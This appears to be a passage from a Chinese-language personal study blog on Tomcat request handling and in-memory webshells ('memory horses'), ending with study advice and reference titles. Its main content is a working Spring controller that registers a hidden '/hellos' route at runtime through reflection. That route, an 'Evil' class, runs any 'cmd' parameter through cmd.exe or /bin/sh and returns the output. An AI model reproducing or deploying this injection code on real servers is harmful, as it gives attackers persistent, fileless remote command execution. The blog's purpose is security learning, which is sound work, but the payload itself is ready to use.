response.addHeader("X-Powered-By", POWERED_BY);
}
boolean async = false;
boolean postParseSuccess = false;
req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());
try {
// Parse and set Catalina and configuration specific
// request parameters
// 这里设置context
postParseSuccess = postParseRequest(req, request, res, response);
if (postParseSuccess) {
//check valves if we support async
request.setAsyncSupported(
connector.getService().getContainer().getPipeline().isAsyncSupported());
// Calling the container
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);
}
...
其他人的项目
找到一个项目https://github.com/c0ny1/java-object-searcher/可以用来搜索request
还有文章:半自动化挖掘request实现多种中间件回显
之后再研究吧
package com.xjjlearning.hack.tomcat.memoryhorse.memoryhorse.springhorse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
@Controller
public class NoshellController {
@ResponseBody
@RequestMapping("/noshells")
public void noshell(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取Context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得恶意类的test方法
Method method = Evil.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/hellos");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 构造注册信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// RequestMappingInfo info = RequestMappingInfo.paths(String.valueOf(url))
// .methods(ms)
// .options(null)
// .build();
// 创建用于处理请求的对象,避免无限循环使用一个构造方法
Evil injectToController = new Evil("xxx");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method);
System.out.println("测试xxxxxx");
response.getWriter().println("inject success");
}
public class Evil {
public Evil(String xxx) {
}
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getParameter("cmd");
if (command != null) {
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
} catch (Exception ignored) {
}
}
}
}
}
跳过,不写了,拜拜
上面的都是21年之前的东西了,现在是23年7月,显然已经过去了两年半,这两年半里还有很多技术的更新。不过技术更新应该也是针对Tomcat不同版本的增加。关于内存马的利用,也延伸到了其他组件,还有其他组件的漏洞复现分析要去看。
如果你比较迷茫,我个人建议可以从认知提升入手,看一些个人成长的书,这个会全面优化你的这个人,包括如何提升效率,怎么样的学习方法,大脑结构行为习惯等等。也可以通过大量阅读其他书籍来提升理解力和抓重点的能力,包括可以读一些心理学,政治哲学,传记,历史等等,重点在快速阅读找到结构这方面练习。
等你能力稍微提升了,我觉得再去看代码应该就有自己的思考了。
好,拜拜。
《Tomcat深入剖析》
认识 Tomcat 连接器组件 Coyote
一文看懂内存马
tomcat动态注册内存马
Tomcat 内存马学习(二):结合反序列化注入内存马 – 天下大木头
中间件内存马注入&冰蝎连接(附更改部分代码)